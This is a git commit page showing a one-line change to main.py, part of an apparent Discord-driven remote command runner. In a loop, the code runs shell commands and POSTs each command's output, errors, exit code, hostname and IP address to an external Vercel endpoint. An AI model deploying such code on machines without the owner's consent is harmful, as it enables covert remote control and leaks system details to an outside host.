diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-17 12:50:27 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-17 12:50:35 +0800 |
| commit | f49ed31d9b7ba33977d575619557a410c65712dd (patch) | |
| tree | 2fd3c3c041fd4052889aed5a03b8fa3e538043ef | |
| parent | e6e867278001a98dfe10cee91c95966cb64caca7 (diff) | |
updated
| -rw-r--r-- | main.py | 2 |
1 files changed, 1 insertions, 1 deletions
@@ -105,7 +105,7 @@ while True: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}") else: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}") - elif r.returncode == 0 and cmdout.decode() == "": + elif r.returncode != 0 and cmdout.decode() == "": post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: exited with no output and code {r.returncode}```- {ip}@{hostname}") except KeyboardInterrupt: try: |
